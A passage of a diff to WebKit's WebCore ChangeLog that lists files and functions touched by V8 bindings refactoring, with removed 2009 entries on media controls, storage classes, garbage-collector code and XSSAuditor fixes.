+        https://bugs.webkit.org/show_bug.cgi?id=32563
 
-        * bindings/scripts/CodeGeneratorV8.pm:
         * bindings/v8/ScriptController.cpp:
         (WebCore::ScriptController::processingUserGesture):
         (WebCore::createScriptObject):
         (WebCore::ScriptController::createScriptObjectForPluginElement):
         * bindings/v8/ScriptObject.cpp:
         (WebCore::ScriptGlobalObject::set):
-        * bindings/v8/ScriptObjectQuarantine.cpp:
-        (WebCore::getQuarantinedScriptObject):
         * bindings/v8/V8AbstractEventListener.cpp:
         (WebCore::V8AbstractEventListener::handleEvent):
-        (WebCore::V8AbstractEventListener::getReceiverObject):
-        * bindings/v8/V8Collection.cpp:
-        (WebCore::toOptionsCollectionSetter):
         * bindings/v8/V8Collection.h:
         (WebCore::getV8Object):
+        (WebCore::toNativeCollection):
         (WebCore::getNamedPropertyOfCollection):
-        (WebCore::nodeCollectionNamedPropertyGetter):
+        (WebCore::collectionNamedPropertyGetter):
         (WebCore::getIndexedPropertyOfCollection):
-        (WebCore::nodeCollectionIndexedPropertyGetter):
+        (WebCore::collectionIndexedPropertyGetter):
         (WebCore::nodeCollectionIndexedPropertyEnumerator):
         (WebCore::collectionIndexedPropertyEnumerator):
         (WebCore::collectionStringOrNullIndexedPropertyGetter):
-        * bindings/v8/V8DOMMap.cpp:
-        (WebCore::DOMData::handleWeakObject):
-        (WebCore::DOMData::removeObjectsFromWrapperMap):
-        * bindings/v8/V8GCController.cpp:
-        (WebCore::enumerateDOMObjectMap):
-        (WebCore::DOMObjectVisitor::visitDOMWrapper):
-        (WebCore::GCPrologueVisitor::visitDOMWrapper):
-        (WebCore::GCEpilogueVisitor::visitDOMWrapper):
-        * bindings/v8/V8Helpers.cpp:
-        (WebCore::wrapNPObject):
-        * bindings/v8/V8NodeFilterCondition.cpp:
-        (WebCore::V8NodeFilterCondition::acceptNode):
-        * bindings/v8/V8Proxy.cpp:
+        (WebCore::collectionStringIndexedPropertyGetter):
+        (WebCore::setCollectionIndexedGetter):
+        (WebCore::setCollectionNamedGetter):
+        (WebCore::setCollectionStringOrNullIndexedGetter):
+        (WebCore::setCollectionStringIndexedGetter):
+        * bindings/v8/V8DOMWindowShell.cpp:
+        (WebCore::V8DOMWindowShell::updateDocumentWrapperCache):
+        * bindings/v8/V8DOMWrapper.cpp:
+        (WebCore::downcastSVGPathSeg):
         (WebCore::V8DOMWrapper::convertSVGElementInstanceToV8Object):
         (WebCore::V8DOMWrapper::convertSVGObjectWithContextToV8Object):
-        (WebCore::V8DOMWrapper::domObjectHasJSWrapper):
-        (WebCore::V8DOMWrapper::setJSWrapperForDOMObject):
-        (WebCore::V8DOMWrapper::setJSWrapperForActiveDOMObject):
-        (WebCore::V8DOMWrapper::setJSWrapperForDOMNode):
-        (WebCore::V8Proxy::evaluateInNewContext):
-        (WebCore::V8Proxy::getConstructor):
-        (WebCore::V8DOMWrapper::getTemplate):
-        (WebCore::V8Proxy::retrieveWindow):
-        (WebCore::V8Proxy::updateDocumentWrapperCache):
-        (WebCore::V8Proxy::clearForNavigation):
-        (WebCore::V8Proxy::installDOMWindow):
-        (WebCore::setDOMExceptionHelper):
         (WebCore::V8DOMWrapper::convertToV8Object):
-        (WebCore::V8DOMWrapper::setHiddenWindowReference):
-        (WebCore::V8DOMWrapper::domWrapperType):
-        (WebCore::V8DOMWrapper::convertToNativeObjectImpl):
-        (WebCore::V8DOMWrapper::convertToSVGPODTypeImpl):
-        (WebCore::V8DOMWrapper::lookupDOMWrapper):
-        (WebCore::V8DOMWrapper::convertDOMWrapperToNodeHelper):
-        (WebCore::V8DOMWrapper::wrapNativeNodeFilter):
         (WebCore::V8DOMWrapper::instantiateV8Object):
-        (WebCore::V8DOMWrapper::setDOMWrapper):
-        (WebCore::V8DOMWrapper::maybeDOMWrapper):
         (WebCore::V8DOMWrapper::isDOMEventWrapper):
-        (WebCore::V8DOMWrapper::isWrapperOfType):
         (WebCore::V8DOMWrapper::htmlElementType):
         (WebCore::V8DOMWrapper::svgElementType):
         (WebCore::V8DOMWrapper::convertEventToV8Object):
+        (WebCore::):
+        (WebCore::V8DOMWrapper::convertDocumentToV8Object):
         (WebCore::V8DOMWrapper::convertNodeToV8Object):
-        (WebCore::V8DOMWrapper::convertEventTargetToV8Object):
+        (WebCore::V8DOMWrapper::convertNewNodeToV8Object):
         (WebCore::V8DOMWrapper::convertEventListenerToV8Object):
         (WebCore::V8DOMWrapper::convertDOMImplementationToV8Object):
         (WebCore::V8DOMWrapper::convertStyleSheetToV8Object):
         (WebCore::V8DOMWrapper::convertCSSValueToV8Object):
         (WebCore::V8DOMWrapper::convertCSSRuleToV8Object):
         (WebCore::V8DOMWrapper::convertWindowToV8Object):
-        (WebCore::V8Proxy::bindJsObjectToWindow):
-        * bindings/v8/V8Proxy.h:
-        (WebCore::V8DOMWrapper::convertDOMWrapperToNative):
-        (WebCore::V8DOMWrapper::wrapCPointer):
-        (WebCore::V8DOMWrapper::extractCPointer):
-        (WebCore::V8DOMWrapper::convertDOMWrapperToNode):
+        (WebCore::V8DOMWrapper::convertNamedNodeMapToV8Object):
+        * bindings/v8/V8DOMWrapper.h:
         (WebCore::V8DOMWrapper::convertToV8Object):
-        (WebCore::V8DOMWrapper::convertToNativeObject):
-        (WebCore::V8DOMWrapper::convertToNativeEvent):
-        (WebCore::V8DOMWrapper::extractCPointerImpl):
+        (WebCore::V8DOMWrapper::convertNodeToV8Object):
+        (WebCore::V8DOMWrapper::convertNewNodeToV8Object):
+        (WebCore::V8DOMWrapper::convertEventToV8Object):
+        (WebCore::V8DOMWrapper::convertEventListenerToV8Object):
         (WebCore::V8DOMWrapper::instantiateV8Object):
-        (WebCore::V8Proxy::constructDOMObject):
-        (WebCore::toV8):
-        * bindings/v8/V8SVGPODTypeWrapper.h:
-        (WebCore::V8SVGPODTypeUtil::toSVGPODType):
-        * bindings/v8/WorkerContextExecutionProxy.cpp:
-        (WebCore::WorkerContextExecutionProxy::retrieve):
-        (WebCore::WorkerContextExecutionProxy::initContextIfNeeded):
-        (WebCore::WorkerContextExecutionProxy::GetConstructor):
-        (WebCore::WorkerContextExecutionProxy::ToV8Object):
-        (WebCore::WorkerContextExecutionProxy::EventToV8Object):
-        (WebCore::WorkerContextExecutionProxy::toV8):
-        * bindings/v8/custom/V8AttrCustom.cpp:
-        (WebCore::ACCESSOR_SETTER):
-        * bindings/v8/custom/V8CSSStyleDeclarationCustom.cpp:
-        (WebCore::NAMED_PROPERTY_GETTER):
-        (WebCore::NAMED_PROPERTY_SETTER):
-        * bindings/v8/custom/V8CanvasPixelArrayCustom.cpp:
-        (WebCore::INDEXED_PROPERTY_GETTER):
-        (WebCore::INDEXED_PROPERTY_SETTER):
+        * bindings/v8/V8NodeFilterCondition.cpp:
+        (WebCore::V8NodeFilterCondition::acceptNode):
+        * bindings/v8/V8Proxy.cpp:
+        (WebCore::V8Proxy::setDOMException):
         * bindings/v8/custom/V8CanvasRenderingContext2DCustom.cpp:
-        (WebCore::toV8):
-        (WebCore::toCanvasStyle):
-        (WebCore::ACCESSOR_GETTER):
-        (WebCore::ACCESSOR_SETTER):
-        (WebCore::CALLBACK_FUNC_DECL):
-        * bindings/v8/custom/V8ClientRectListCustom.cpp:
-        (WebCore::INDEXED_PROPERTY_GETTER):
-        * bindings/v8/custom/V8ClipboardCustom.cpp:
-        (WebCore::ACCESSOR_GETTER):
-        (WebCore::CALLBACK_FUNC_DECL):
-        * bindings/v8/custom/V8CustomBinding.cpp:
-        (WebCore::ACCESSOR_GETTER):
-        (WebCore::INDEXED_ACCESS_CHECK):
-        (WebCore::NAMED_ACCESS_CHECK):
-        (WebCore::V8Custom::GetTargetFrame):
+        (WebCore::toV8Object):
+        (WebCore::V8CanvasRenderingContext2D::createPatternCallback):
+        * bindings/v8/custom/V8CustomPositionCallback.cpp:
+        (WebCore::V8CustomPositionCallback::handleEvent):
+        * bindings/v8/custom/V8CustomPositionErrorCallback.cpp:
+        (WebCore::V8CustomPositionErrorCallback::handleEvent):
         * bindings/v8/custom/V8CustomSQLStatementCallback.cpp:
         (WebCore::V8CustomSQLStatementCallback::handleEvent):
         * bindings/v8/custom/V8CustomSQLStatementErrorCallback.cpp:
@@ -50442,9354 +21827,2149 @@ form controls that have different validity states.
         * bindings/v8/custom/V8CustomSQLTransactionErrorCallback.cpp:
         (WebCore::V8CustomSQLTransactionErrorCallback::handleEvent):
         * bindings/v8/custom/V8DOMWindowCustom.cpp:
-        (WebCore::V8Custom::WindowSetTimeoutImpl):
-        (WebCore::ACCESSOR_SETTER):
-        (WebCore::CALLBACK_FUNC_DECL):
-        (WebCore::ACCESSOR_GETTER):
-        (WebCore::INDEXED_PROPERTY_GETTER):
+        (WebCore::V8DOMWindow::openCallback):
+        (WebCore::V8DOMWindow::indexedPropertyGetter):
+        (WebCore::V8DOMWindow::namedPropertyGetter):
+        * bindings/v8/custom/V8DataGridColumnListCustom.cpp:
         (WebCore::NAMED_PROPERTY_GETTER):
-        (WebCore::V8Custom::ClearTimeoutImpl):
-        (WebCore::NAMED_ACCESS_CHECK):
-        (WebCore::INDEXED_ACCESS_CHECK):
-        * bindings/v8/custom/V8DatabaseCustom.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
         * bindings/v8/custom/V8DocumentCustom.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
+        (WebCore::V8Document::evaluateCallback):
+        (WebCore::V8Document::getCSSCanvasContextCallback):
+        (WebCore::V8Document::implementationAccessorGetter):
         * bindings/v8/custom/V8DocumentLocationCustom.cpp:
-        (WebCore::ACCESSOR_GETTER):
-        (WebCore::ACCESSOR_SETTER):
+        (WebCore::V8Document::locationAccessorGetter):
         * bindings/v8/custom/V8ElementCustom.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
-        (WebCore::ACCESSOR_SETTER):
-        (WebCore::ACCESSOR_GETTER):
+        (WebCore::V8Element::setAttributeNodeCallback):
+        (WebCore::V8Element::setAttributeNodeNSCallback):
         * bindings/v8/custom/V8EventCustom.cpp:
-        (WebCore::ACCESSOR_SETTER):
-        (WebCore::ACCESSOR_GETTER):
+        (WebCore::V8Event::dataTransferAccessorGetter):
+        (WebCore::V8Event::clipboardDataAccessorGetter):
+        * bindings/v8/custom/V8HTMLAllCollectionCustom.cpp:
+        (WebCore::getNamedItems):
+        (WebCore::getItem):
+        (WebCore::V8HTMLAllCollection::callAsFunctionCallback):
         * bindings/v8/custom/V8HTMLAudioElementConstructor.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
+        (WebCore::V8Custom::v8HTMLAudioElementConstructorCallback):
         * bindings/v8/custom/V8HTMLCanvasElementCustom.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
+        (WebCore::V8HTMLCanvasElement::getContextCallback):
         * bindings/v8/custom/V8HTMLCollectionCustom.cpp:
         (WebCore::getNamedItems):
         (WebCore::getItem):
-        (WebCore::NAMED_PROPERTY_GETTER):
-        (WebCore::CALLBACK_FUNC_DECL):
+        (WebCore::V8HTMLCollection::callAsFunctionCallback):
         * bindings/v8/custom/V8HTMLDocumentCustom.cpp:
-        (WebCore::NAMED_PROPERTY_GETTER):
-        (WebCore::CALLBACK_FUNC_DECL):
-        (WebCore::ACCESSOR_GETTER):
+        (WebCore::V8HTMLDocument::namedPropertyGetter):
+        (WebCore::V8HTMLDocument::allAccessorGetter):
         * bindings/v8/custom/V8HTMLFormElementCustom.cpp:
-        (WebCore::INDEXED_PROPERTY_GETTER):
-        (WebCore::NAMED_PROPERTY_GETTER):
-        (WebCore::CALLBACK_FUNC_DECL):
-        * bindings/v8/custom/V8HTMLFrameElementCustom.cpp:
-        (WebCore::ACCESSOR_SETTER):
+        (WebCore::V8HTMLFormElement::indexedPropertyGetter):
+        (WebCore::V8HTMLFormElement::namedPropertyGetter):
         * bindings/v8/custom/V8HTMLFrameSetElementCustom.cpp:
-        (WebCore::NAMED_PROPERTY_GETTER):
-        * bindings/v8/custom/V8HTMLIFrameElementCustom.cpp:
-        (WebCore::ACCESSOR_SETTER):
+        (WebCore::V8HTMLFrameSetElement::namedPropertyGetter):
         * bindings/v8/custom/V8HTMLImageElementConstructor.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
-        * bindings/v8/custom/V8HTMLInputElementCustom.cpp:
-        (WebCore::ACCESSOR_GETTER):
-        (WebCore::ACCESSOR_SETTER):
-        (WebCore::CALLBACK_FUNC_DECL):
-        * bindings/v8/custom/V8HTMLOptionElementConstructor.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
+        (WebCore::V8Custom::v8HTMLImageElementConstructorCallback):
         * bindings/v8/custom/V8HTMLOptionsCollectionCustom.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
-        (WebCore::ACCESSOR_GETTER):
-        (WebCore::ACCESSOR_SETTER):
-        (WebCore::INDEXED_PROPERTY_GETTER):
-        (WebCore::INDEXED_PROPERTY_SETTER):
-        * bindings/v8/custom/V8HTMLPlugInElementCustom.cpp:
-        (WebCore::NAMED_PROPERTY_GETTER):
-        (WebCore::NAMED_PROPERTY_SETTER):
-        (WebCore::INDEXED_PROPERTY_GETTER):
-        (WebCore::INDEXED_PROPERTY_SETTER):
-        * bindings/v8/custom/V8HTMLSelectElementCollectionCustom.cpp:
-        (WebCore::NAMED_PROPERTY_GETTER):
-        (WebCore::INDEXED_PROPERTY_SETTER):
+        (WebCore::V8HTMLOptionsCollection::indexedPropertyGetter):
         * bindings/v8/custom/V8HTMLSelectElementCustom.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
-        (WebCore::removeElement):
-        * bindings/v8/custom/V8InspectorControllerCustom.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
-        * bindings/v8/custom/V8LocationCustom.cpp:
-        (WebCore::ACCESSOR_SETTER):
-        (WebCore::ACCESSOR_GETTER):
-        (WebCore::CALLBACK_FUNC_DECL):
-        (WebCore::INDEXED_ACCESS_CHECK):
-        (WebCore::NAMED_ACCESS_CHECK):
+        (WebCore::V8HTMLSelectElement::namedPropertyGetter):
+        (WebCore::V8HTMLSelectElement::indexedPropertyGetter):
+        * bindings/v8/custom/V8InjectedScriptHostCustom.cpp:
+        (WebCore::createInjectedScript):
+        (WebCore::V8InjectedScriptHost::nodeForIdCallback):
+        (WebCore::V8InjectedScriptHost::databaseForIdCallback):
         * bindings/v8/custom/V8MessageChannelConstructor.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
-        * bindings/v8/custom/V8MessagePortCustom.cpp:
-        (WebCore::ACCESSOR_GETTER):
-        (WebCore::ACCESSOR_SETTER):
-        (WebCore::CALLBACK_FUNC_DECL):
+        (WebCore::V8MessageChannel::constructorCallback):
+        * bindings/v8/custom/V8MessageEventCustom.cpp:
+        (WebCore::V8MessageEvent::portsAccessorGetter):
         * bindings/v8/custom/V8NamedNodeMapCustom.cpp:
-        (WebCore::INDEXED_PROPERTY_GETTER):
-        (WebCore::NAMED_PROPERTY_GETTER):
-        * bindings/v8/custom/V8NavigatorCustom.cpp:
-        (WebCore::ACCESSOR_GETTER):
-        * bindings/v8/custom/V8NodeCustom.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
+        (WebCore::V8NamedNodeMap::indexedPropertyGetter):
+        (WebCore::V8NamedNodeMap::namedPropertyGetter):
         * bindings/v8/custom/V8NodeIteratorCustom.cpp:
         (WebCore::toV8):
-        (WebCore::CALLBACK_FUNC_DECL):
         * bindings/v8/custom/V8NodeListCustom.cpp:
-        (WebCore::NAMED_PROPERTY_GETTER):
-        * bindings/v8/custom/V8SQLResultSetRowListCustom.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
-        * bindings/v8/custom/V8SQLTransactionCustom.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
-        * bindings/v8/custom/V8SVGElementInstanceCustom.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
-        * bindings/v8/custom/V8SVGLengthCustom.cpp:
-        (WebCore::ACCESSOR_GETTER):
-        (WebCore::CALLBACK_FUNC_DECL):
+        (WebCore::V8NodeList::namedPropertyGetter):
+        (WebCore::V8NodeList::callAsFunctionCallback):
+        * bindings/v8/custom/V8NotificationCenterCustom.cpp:
+        (WebCore::V8NotificationCenter::createHTMLNotificationCallback):
+        (WebCore::V8NotificationCenter::createNotificationCallback):
         * bindings/v8/custom/V8SVGMatrixCustom.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
-        * bindings/v8/custom/V8StorageCustom.cpp:
-        (WebCore::V8Custom::v8StorageNamedPropertyEnumerator):
-        (WebCore::storageGetter):
-        (WebCore::storageSetter):
-        (WebCore::storageDeleter):
+        (WebCore::V8SVGMatrix::multiplyCallback):
+        (WebCore::V8SVGMatrix::inverseCallback):
+        (WebCore::V8SVGMatrix::rotateFromVectorCallback):
         * bindings/v8/custom/V8StyleSheetListCustom.cpp:
-        (WebCore::NAMED_PROPERTY_GETTER):
+        (WebCore::V8StyleSheetList::namedPropertyGetter):
         * bindings/v8/custom/V8TreeWalkerCustom.cpp:
-        (WebCore::toV8):
-        (WebCore::CALLBACK_FUNC_DECL):
-        * bindings/v8/custom/V8WebKitCSSMatrixConstructor.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
-        * bindings/v8/custom/V8WorkerContextCustom.cpp:
-        (WebCore::ACCESSOR_GETTER):
-        (WebCore::ACCESSOR_SETTER):
-        (WebCore::SetTimeoutOrInterval):
-        (WebCore::CALLBACK_FUNC_DECL):
-        * bindings/v8/custom/V8WorkerCustom.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
-        (WebCore::ACCESSOR_GETTER):
-        (WebCore::ACCESSOR_SETTER):
-        * bindings/v8/custom/V8XMLHttpRequestConstructor.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
-        * bindings/v8/custom/V8XMLHttpRequestCustom.cpp:
-        (WebCore::ACCESSOR_GETTER):
-        (WebCore::ACCESSOR_SETTER):
-        (WebCore::CALLBACK_FUNC_DECL):
-        * bindings/v8/custom/V8XMLHttpRequestUploadCustom.cpp:
-        (WebCore::ACCESSOR_GETTER):
-        (WebCore::ACCESSOR_SETTER):
-        (WebCore::CALLBACK_FUNC_DECL):
+        (WebCore::toV8Object):
+        * bindings/v8/custom/V8WebGLRenderingContextCustom.cpp:
+        (WebCore::toV8Object):
         * bindings/v8/custom/V8XSLTProcessorCustom.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
-
-2009-07-08  Pierre d'Herbemont  <pdherbemont@apple.com>
-
-        Reviewed by Simon Fraser.
-
-        Make sure we can click outside the slider thumb and start dragging.
-        https://bugs.webkit.org/show_bug.cgi?id=26229
-
-        Previously we were assuming that if the thumb hasn't been clicked, we
-        wouldn't issue any value change upon dragging.
-
-        We need to handle the two different cases:
-        - Clicked in the thumb, we need to make sure the cursor is always pointing
-        the same slider thumb point.
-        - Clicked outside, the cursor should always be pointing to the center of
-        the thumb.
-
-        For simplicity, we don't remember the original point of the mouse down,
-        but a vector between that point and the thumb.
-
-        * rendering/RenderSlider.cpp:
-        (WebCore::SliderThumbElement::SliderThumbElement):
-        (WebCore::SliderThumbElement::defaultEventHandler):
-        (WebCore::RenderSlider::mouseEventVectorToThumb): Utility function.
-        * rendering/RenderSlider.h:
-
-2009-07-08  Pierre d'Herbemont  <pdherbemont@apple.com>
-
-        Reviewed by Simon Fraser.
-
-        https://bugs.webkit.org/show_bug.cgi?id=27100
-        <rdar://problem/7042621>
-
-        Don't display "loading" in the <video> controller when
-        there is no src specified.
-
-        * rendering/MediaControlElements.cpp:
-        (WebCore::MediaControlStatusDisplayElement::update): The only
-        way to find out if we have an element is currentSrc(). networkState()
-        will always report LOADING according to the spec.
+        (WebCore::V8XSLTProcessor::transformToFragmentCallback):
+        (WebCore::V8XSLTProcessor::transformToDocumentCallback):
 
-2009-07-08  Adam Barth  <abarth@webkit.org>
+2010-02-03  Mikhail Naganov  <mnaganov@chromium.org>
 
-        Reviewed by Eric Seidel.
-
-        [V8] Move V8GCController functions to their own file
-        https://bugs.webkit.org/show_bug.cgi?id=27102
-
-        * bindings/v8/V8GCController.cpp: Added.
-        * bindings/v8/V8GCController.h: Added.
-        * bindings/v8/V8Proxy.cpp:
-        * bindings/v8/V8Proxy.h:
-
-2009-07-08  Jeremy Orlow  <jorlow@chromium.org>
-
-        Reviewed by Darin Fisher.
-
-        Split StorageArea and StorageNamespace into an interface and implementation.
-        https://bugs.webkit.org/show_bug.cgi?id=27072
+        Reviewed by Pavel Feldman.
 
-        I need to split StorageNamespace and StorageArea into an interface and
-        implementation.  In a later patch, I'll implement a proxy interface
-        that'll run inside the Chromium renderer process.
+        Start unforking debugger and profiler code.
 
-        Additionally, fix the alphabetical ordering of files I recently added
-        in the project files.
+        Remove custom implementation of Console.
+        Add 'ScriptProfiler' and 'ScriptProfile' types.
+        Start migration to engine-neutral types in InspectorController.
 
-        This is a continuation of other refactoring work:
-        https://bugs.webkit.org/show_bug.cgi?id=25376
+        https://bugs.webkit.org/show_bug.cgi?id=34481
 
         * GNUmakefile.am:
-        * WebCore.vcproj/WebCore.vcproj:
+        * WebCore.gypi:
+        * WebCore.pro:
         * WebCore.xcodeproj/project.pbxproj:
-        * WebCoreSources.bkl:
-        * storage/StorageArea.cpp:
-        (WebCore::StorageArea::create):
-        * storage/StorageArea.h:
-        (WebCore::StorageArea::~StorageArea):
-        * storage/StorageAreaImpl.cpp: Copied from WebCore/storage/StorageArea.cpp.
-        (WebCore::StorageAreaImpl::create):
-        (WebCore::StorageAreaImpl::~StorageAreaImpl):
-        (WebCore::StorageAreaImpl::StorageAreaImpl):
-        (WebCore::StorageAreaImpl::copy):
-        (WebCore::StorageAreaImpl::length):
-        (WebCore::StorageAreaImpl::key):
-        (WebCore::StorageAreaImpl::getItem):
-        (WebCore::StorageAreaImpl::setItem):
-        (WebCore::StorageAreaImpl::removeItem):
-        (WebCore::StorageAreaImpl::clear):
-        (WebCore::StorageAreaImpl::contains):
-        (WebCore::StorageAreaImpl::importItem):
-        (WebCore::StorageAreaImpl::securityOrigin):
-        (WebCore::StorageAreaImpl::close):
-        (WebCore::StorageAreaImpl::blockUntilImportComplete):
-        (WebCore::StorageAreaImpl::dispatchStorageEvent):
-        * storage/StorageAreaImpl.h: Copied from WebCore/storage/StorageArea.h.
-        * storage/StorageAreaSync.h:
-        * storage/StorageNamespace.cpp:
-        (WebCore::StorageNamespace::localStorageNamespace):
-        (WebCore::StorageNamespace::sessionStorageNamespace):
-        * storage/StorageNamespace.h:
-        (WebCore::StorageNamespace::~StorageNamespace):
-        * storage/StorageNamespaceImpl.cpp: Copied from WebCore/storage/StorageNamespace.cpp.
-        (WebCore::StorageNamespaceImpl::localStorageNamespace):
-        (WebCore::StorageNamespaceImpl::sessionStorageNamespace):
-        (WebCore::StorageNamespaceImpl::StorageNamespaceImpl):
-        (WebCore::StorageNamespaceImpl::~StorageNamespaceImpl):
-        (WebCore::StorageNamespaceImpl::copy):
-        (WebCore::StorageNamespaceImpl::storageArea):
-        (WebCore::StorageNamespaceImpl::close):
-        * storage/StorageNamespaceImpl.h: Copied from WebCore/storage/StorageNamespace.h.
-
-2009-07-08  Adam Barth  <abarth@webkit.org>
-
-        Reviewed by Eric Seidel.
-
-        [V8] Move garbage collector related functions from V8Proxy to V8GCController
-        https://bugs.webkit.org/show_bug.cgi?id=26967
-
-        This patch just moves the functions around in V8Proxy.  We'll actually
-        move them to a separate file in another patch.
-
-        * bindings/v8/NPV8Object.cpp:
-        (freeV8NPObject):
-        * bindings/v8/ScheduledAction.cpp:
-        (WebCore::ScheduledAction::ScheduledAction):
-        (WebCore::ScheduledAction::~ScheduledAction):
-        * bindings/v8/ScriptController.cpp:
-        (WebCore::ScriptController::gcProtectJSWrapper):
-        (WebCore::ScriptController::gcUnprotectJSWrapper):
-        * bindings/v8/ScriptInstance.cpp:
-        (WebCore::V8ScriptInstance::clear):
-        (WebCore::V8ScriptInstance::set):
-        * bindings/v8/ScriptValue.h:
-        (WebCore::ScriptValue::ScriptValue):
-        (WebCore::ScriptValue::operator=):
-        (WebCore::ScriptValue::clear):
-        * bindings/v8/V8AbstractEventListener.cpp:
-        (WebCore::V8AbstractEventListener::disposeListenerObject):
-        * bindings/v8/V8LazyEventListener.cpp:
-        (WebCore::V8LazyEventListener::~V8LazyEventListener):
-        (WebCore::V8LazyEventListener::getListenerFunction):
-        (WebCore::V8LazyEventListener::getWrappedListenerFunction):
-        * bindings/v8/V8NodeFilterCondition.cpp:
-        (WebCore::V8NodeFilterCondition::V8NodeFilterCondition):
-        (WebCore::V8NodeFilterCondition::~V8NodeFilterCondition):
-        * bindings/v8/V8Proxy.cpp:
-        (WebCore::V8GCController::registerGlobalHandle):
-        (WebCore::V8GCController::unregisterGlobalHandle):
-        (WebCore::V8GCController::gcProtect):
-        (WebCore::V8GCController::gcUnprotect):
-        (WebCore::V8Proxy::destroyGlobal):
-        (WebCore::V8Proxy::updateDocumentWrapper):
-        (WebCore::V8Proxy::clearDocumentWrapper):
-        (WebCore::V8Proxy::disposeContextHandles):
-        (WebCore::V8Proxy::initContextIfNeeded):
-        * bindings/v8/V8Proxy.h:
-        (WebCore::):
-        (WebCore::GlobalHandleInfo::GlobalHandleInfo):
-        * bindings/v8/custom/V8CustomEventListener.cpp:
-        (WebCore::V8EventListener::V8EventListener):
-
-2009-07-08  Daniel Bates  <dbates@intudata.com>
-
-        Reviewed by Adam Barth.
-        
-        https://bugs.webkit.org/show_bug.cgi?id=26918
-        
-        Prevents injection of HTML Base tag.
-
-        Tests: http/tests/security/xssAuditor/base-href-control-char.html
-               http/tests/security/xssAuditor/base-href-null-char.html
-               http/tests/security/xssAuditor/base-href-safe.html
-               http/tests/security/xssAuditor/base-href-safe2.html
-               http/tests/security/xssAuditor/base-href-scheme-relative.html
-               http/tests/security/xssAuditor/base-href.html
-
-        * html/HTMLBaseElement.cpp:
-        (WebCore::HTMLBaseElement::parseMappedAttribute):
-        (WebCore::HTMLBaseElement::process): Modified to call XSSAuditor::canSetBaseElementURL
-        to determine if it is safe to use base element URL.
-        * html/HTMLBaseElement.h: Added field m_hrefAttrValue to store unparsed base element URL.
-        * page/XSSAuditor.cpp:
-        (WebCore::XSSAuditor::canSetBaseElementURL):
-        * page/XSSAuditor.h:
-
-2009-07-08  Nate Chapin  <japhet@chromium.org>
-
-        Reviewed by Dimitri Glazkov.
-
-        Upstream V8 npruntime bindings.
-
-        https://bugs.webkit.org/show_bug.cgi?id=27094
-
-        * bindings/v8/npruntime.cpp: Upstreamed from src.chromium.org.
-        (StringKey::operator==):
-        (StringKey::StringKeyHash::hash):
-        (StringKey::StringKeyHash::equal):
-        (StringKeyHashTraits::constructDeletedValue):
-        (StringKeyHashTraits::isDeletedValue):
-        (getStringIdentifierMap):
-        (getIntIdentifierMap):
-        * bindings/v8/npruntime_impl.h: Upstreamed from src.chromium.org.
-        * bindings/v8/npruntime_internal.h: Upstreamed from src.chromium.org.
-        * bindings/v8/npruntime_priv.h: Upstreamed from src.chromium.org.
-
-2009-07-08  Dumitru Daniliuc  <dumi@chromium.org>
-
-        Reviewed by Darin Fisher.
-
-        Extending the PlatformFileHandle definition from PLATFORM(WIN) to
-        PLATFORM(WIN_OS)
-
-        https://bugs.webkit.org/show_bug.cgi?id=27013
-
-        * platform/FileSystem.h:
-
-2009-07-08  Daniel Bates  <dbates@intudata.com>
-
-        Reviewed by Adam Barth.
-        
-        https://bugs.webkit.org/show_bug.cgi?id=27071
-        
-        Resolves issue when HTTP parameters contain null- and  non-null-control- characters.
-
-        Tests: http/tests/security/xssAuditor/anchor-url-dom-write-location-inline-event-null-char.html
-               http/tests/security/xssAuditor/embed-tag-control-char.html
-               http/tests/security/xssAuditor/embed-tag-null-char.html
-               http/tests/security/xssAuditor/embed-tag.html
-               http/tests/security/xssAuditor/link-onclick-control-char.html
-               http/tests/security/xssAuditor/link-onclick-null-char.html
-               http/tests/security/xssAuditor/object-embed-tag-control-char.html
-               http/tests/security/xssAuditor/object-embed-tag-null-char.html
-               http/tests/security/xssAuditor/object-embed-tag.html
-               http/tests/security/xssAuditor/object-tag.html
-               http/tests/security/xssAuditor/script-tag-post-control-char.html
-               http/tests/security/xssAuditor/script-tag-post-null-char.html
-               http/tests/security/xssAuditor/script-tag-with-source-control-char.html
-               http/tests/security/xssAuditor/script-tag-with-source-null-char.html
-
-        * page/XSSAuditor.cpp:
-        (WebCore::isNonNullControlCharacter): Called by XSSAuditor::decodeURL.
-        (WebCore::XSSAuditor::canEvaluate):
-        (WebCore::XSSAuditor::canCreateInlineEventListener):
-        (WebCore::XSSAuditor::canLoadObject):
-        (WebCore::XSSAuditor::decodeURL): Added parameters matchNullCharacters,
-        and matchNonNullControlCharacters.
-        (WebCore::XSSAuditor::findInRequest): Added parameters matchNullCharacters,
-        and matchNonNullControlCharacters.
-        * page/XSSAuditor.h:
-
-2009-07-08  Marc-Antoine Ruel  <maruel@chromium.org>
-
-        Reviewed by Dimitri Glazkov.
-
-        Add DerivesSourcesAllInOne.cpp to help with release windows compilation.
-        https://bugs.webkit.org/show_bug.cgi?id=27093
-
-        This is specific for v8, no change in behavior.
-
-        * bindings/v8/DerivedSourcesAllInOne.cpp: Added.
-
-2009-07-08  Pierre d'Herbemont  <pdherbemont@apple.com>
-
-        Reviewed by Simon Fraser.
-
-        https://bugs.webkit.org/show_bug.cgi?id=27086
-
-        Make sure the Media controller doesn't fade in for no reason.
-        This is happening because a update() call to the controller
-        panel may reset the opacity to 1.0, given that it reloads the
-        style.
-
-        We also add a different fade in and fade out time to soften
-        the fade out effect.
-
-        No test case because this depends on how the movie is loaded.
-
-        * rendering/RenderMedia.cpp:
-        (WebCore::RenderMedia::RenderMedia):
